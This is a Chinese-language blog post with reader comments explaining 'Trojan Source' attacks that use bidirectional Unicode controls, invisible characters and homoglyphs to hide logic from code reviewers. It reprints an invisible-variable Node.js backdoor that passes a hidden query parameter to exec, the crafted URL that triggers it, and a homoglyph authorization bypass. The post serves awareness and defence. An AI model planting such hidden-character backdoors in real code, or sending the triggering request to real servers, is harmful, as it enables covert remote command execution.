源代码特洛伊木马攻击
最近,我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below.”也就是说我们的代码中有一些 bidirectional unicode 的文本,中文直译作 “双向文本”,意思是一些语言是从左到右的,而另一些则是是从右到左的(如:阿拉伯语),如果同一个文件里,即有从左向右的文本也有从右向左文本两种的混搭,那么,就叫bi-direction。术语通常缩写为“ BiDi ”或“ bidi ”。使用双向文本对于中国人来说并不陌生,因为中文又可以从左到右,也可以从右到左,还可以从上到下。
早期的计算机仅设计为基于拉丁字母的从左到右的方式。添加新的字符集和字符编码使许多其他从左到右的脚本能够得到支持,但不容易支持从右到左的脚本,例如阿拉伯语或希伯来语,并且将两者混合使用更是不可能。从右到左的脚本是通过ISO/IEC 8859-6和ISO/IEC 8859-8等编码引入的,通常以书写和阅读顺序存储字母。可以简单地将从左到右的显示顺序翻转为从右到左的显示顺序,但这样做会牺牲正确显示从左到右脚本的能力。通过双向文本支持,可以在同一页面上混合来自不同脚本的字符,而不管书写方向如何。
双向文本支持是计算机系统正确显示双向文本的能力。对于Unicode来说,其标准为完整的 BiDi 支持提供了基础,其中包含有关如何编码和显示从左到右和从右到左脚本的混合的详细规则。你可以使用一些控制字符来帮助你完成双向文本的编排。
好的,科普完“双向文本”后,我们正式进入正题,为什么Github 会出这个警告?Github的官方博客“关于双向Unicode的警告”中说,使用一些Unicode中的用于控制的隐藏字符,可以让你代码有着跟看上去完全不一样的行为。
我们先来看一个示例,下面这段 Go 的代码就会把 “Hello, World”的每个字符转成整型,然后计算其中多少个为 1 的 bit。
package main import "fmt" func main() { str, mask := "Hello, World!10x", 0 bits := 0 for _, ch := range str { for ch > 0 { bits += int(ch) & mask ch = ch >> 1 } } fmt.Println("Total bits set:", bits) }
这个代码你看上去没有什么 奇怪的地方,但是你在执行的时候(可以直接上Go Playground上执行 – https://play.golang.org/p/e2BDZvFlet0),你会发现,结果是 0,也就是说“Hello, World”中没有值为 1 的 bit 位。这究竟发生了什么事?
如果你把上面这段代码拷贝粘贴到字符界面上的 vim 编辑器里,你就可以看到下面这一幕。
其中有两个浅蓝色的尖括号的东西—— <202e>
和 <202d>
。这两个字符是两个Unicode的控制字符(注:完整的双向文本控制字符参看 Unicode Bidirectional Classes):
- U+202E – Right-to-Left Override [RLO]
表示,开始从右到左显示,于是,接下来的文本10x", 0
变成了0 ,"x01
- U+202D – Left-to-Right Override [LRO]
表示,开始从左到右显示,于是,0,"x01
中的前4个字符0 ,"
反转成", 0
,于是整个文本成了", 0x01
所以,你在视觉上看到的是结果是—— "Hello, World!”, 0x01
, 但是实际上是完全是另外一码事。
然后,Github官方博客中还给了一个安全问题 CVE-2021-42574 ——
在 Unicode 规范到 14.0 的双向算法中发现了一个问题。它允许通过控制序列对字符进行视觉重新排序,可用于制作源代码,呈现与编译器和解释器执行逻辑完全不同的逻辑。攻击者可以利用这一点对接受 Unicode 的编译器的源代码进行编码,从而将目标漏洞引入人类审查者不可见的地方。
这个安全问题在剑桥大学的这篇论文“Some Vulnerabilities are Invisible”中有详细的描述。其中PDF版的文章中也给了这么一个示例:
通过双向文本可以把下面这段代码:
伪装成下面的这个样子:
在图 2 中'alice'
被定义为价值 100,然后是一个从 Alice 中减去资金的函数。最后一行以 50 的值调用该函数,因此该小程序在执行时应该给我们 50 的结果。
然而,图 1 向我们展示了如何使用双向字符来破坏程序的意图:通过插入RLI (Right To Left Isolate) – U+2067,我们将文本方向从传统英语更改为从右到左。尽管我们使用了减去资金功能,但图 1 的输出变为 100。
除此之外,支持Unicode还可以出现很多其它的攻击,尤其是通过一些“不可见字符”,或是通过“同形字符”在源代码里面埋坑。比如文章“The Invisible Javascript Backdoor”里的这个示例:
const express = require('express'); const util = require('util'); const exec = util.promisify(require('child_process').exec); const app = express(); app.get('/network_health', async (req, res) => { const { timeout,ㅤ} = req.query; const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ ]; try { await Promise.all(checkCommands.map(cmd => cmd && exec(cmd, { timeout: +timeout || 5_000 }))); res.status(200); res.send('ok'); } catch(e) { res.status(500); res.send('failed'); } }); app.listen(8080);
上面这个代码实现了一个非常简单的网络健康检查,HTTP会执行 ping -c 1 google.com
以及 curl -s http://example.com
这两个命令来查看网络是否正常。其中,可选输入 HTTP 参数timeout
限制命令执行时间。
然后,上面这个代码是有不可见的Unicode 字符,如果你使用VSCode,把编码从 Unicode 改成 DOS (CP437) 后你就可以看到这个Unicode了
于是,一个你看不见的 πàñ
变量就这样生成了,你再仔细看一下整个逻辑,这个看不见的变量,可以让你的代码执行他想要的命令。因为,http 的请求中有第二个参数,这个参数可奖在后面被执行。于是我们可以构造如下的的 HTTP 请求:
http://host:port/network_health?%E3%85%A4=<any command>
其中的,%E3%85%A4 就是 \u3164
这个不可见Unicode 的编码,于是,一个后门代码就这样在神不知鬼不觉的情况下注入了。
另外,还可以使用“同形字符”,看看下面这个示例:
if(environmentǃ=ENV_PROD){ // bypass authZ checks in DEV return true; }
如何你以为 ǃ
是 惊叹号,其实不是,它是一个Unicode ╟â
。这种东西就算你把你的源码转成 DOS(CP437) 也没用,因为用肉眼在一大堆正常的字符中找不正常的,我觉得是基本不可能的事。
现在,是时候检查一下你的代码有没有上述的这些情况了……
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
《源代码特洛伊木马攻击》的相关评论
文章”浅蓝色”中间存在特殊字符,导致rss解析失败
终于看到有人写出这些东西了, github上某些FQ控制面板web管理系统,也应用了类似的技巧,留下了后门.
0,”x01 这里 0 和 , 之间少了一个空格吧
没有少,被 web 排版的换行去掉了。
太神奇了,学习了!
虽然对网络安全不太懂,但是对于特洛伊这个电影还是比较了解的。
有意思
RSS订阅您的网站报错了!
Sorry
This feed does not validate.
line 64, column 9: XML parsing error: :64:9: not well-formed (invalid token) [help]
其中有两个浅蓝色的尖括号的东西——
<202e>
和<202d>
…陈老师,这个URL 「http://host:port/network_health?%E3%85%A4=」中的 「%E3%85%A4」可不可以替换成其他 Unicode 的 UTF-8 编码?
从 URL 参数解码的角度看,这个「%E3%85%A4」 替换成其他,感觉也可以。这个值最终是赋给 timeout 了,而 赋给了这个变量 \u3164。
我理解的对吗?
谢谢陈老师!
有个尖括号的 any_command 被吃掉了。
再发一遍完整的。
陈老师,这个URL 「http://host:port/network_health?%E3%85%A4=any_command」中的 「%E3%85%A4」可不可以替换成其他 Unicode 的 UTF-8 编码?
从 URL 参数解码的角度看,这个「%E3%85%A4」 替换成其他,感觉也可以。这个值最终是赋给 timeout 了,而 赋any_command 给了这个变量 \u3164。之后遍历 cmds 时,执行的是 \u3164 变量的值 any_command
我理解的对吗?
谢谢陈老师!
很神奇
所见非所得,眼睛也是会骗人的!
和多年前的利用 Unicode 同形异义字假冒域名钓鱼攻击很类似。
Unicode 同形异义字举例:斯拉夫字母“а” (U+0430)和拉丁字母“a”(U+0041)会被浏览器处理成不同的字符,但是在地址栏当中都显示为“a”
python的case里,我觉得实际显示的应该是
”’ …… then rnuter; ”’,而不是”’ …… then return; ”’。不知道我理解得对吗?
RLI 的作用域是仅在那一行生效吗,不会影响后面的内容?
不错,必须顶一下!
老外就是多事,显示的问题,硬要编码到内码之中,产生无数的BUG。
之前几天也是被类似的问题坑了ANSI编码下“鈥婥”,在utf-8的情况下显示大写的“C”,写入数据库的时候始终多一位,和对方不停扯皮
可奖在后面被执行–>可将在后面被执行
vscode可以显示控制字符的, 在设置中搜”控制字符”或者”control characters”, 当有控制字符, 则会高亮显示, 所以用vscode开发的话, 稍微注意点各种标识, 应该可以避免这个问题
node 示例中:
// Line 16
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
其中的
5_000
根据下面的图及语义来讲,应该是
5000
即:
// Line 16
cmd && exec(cmd, { timeout: +timeout || 5000 })));
用vim,设置 set list可以避免这种攻击
Go 有一个小工具可以检查 https://github.com/breml/bidichk
那么,使用 Vim 编程不就可以解决问题了吗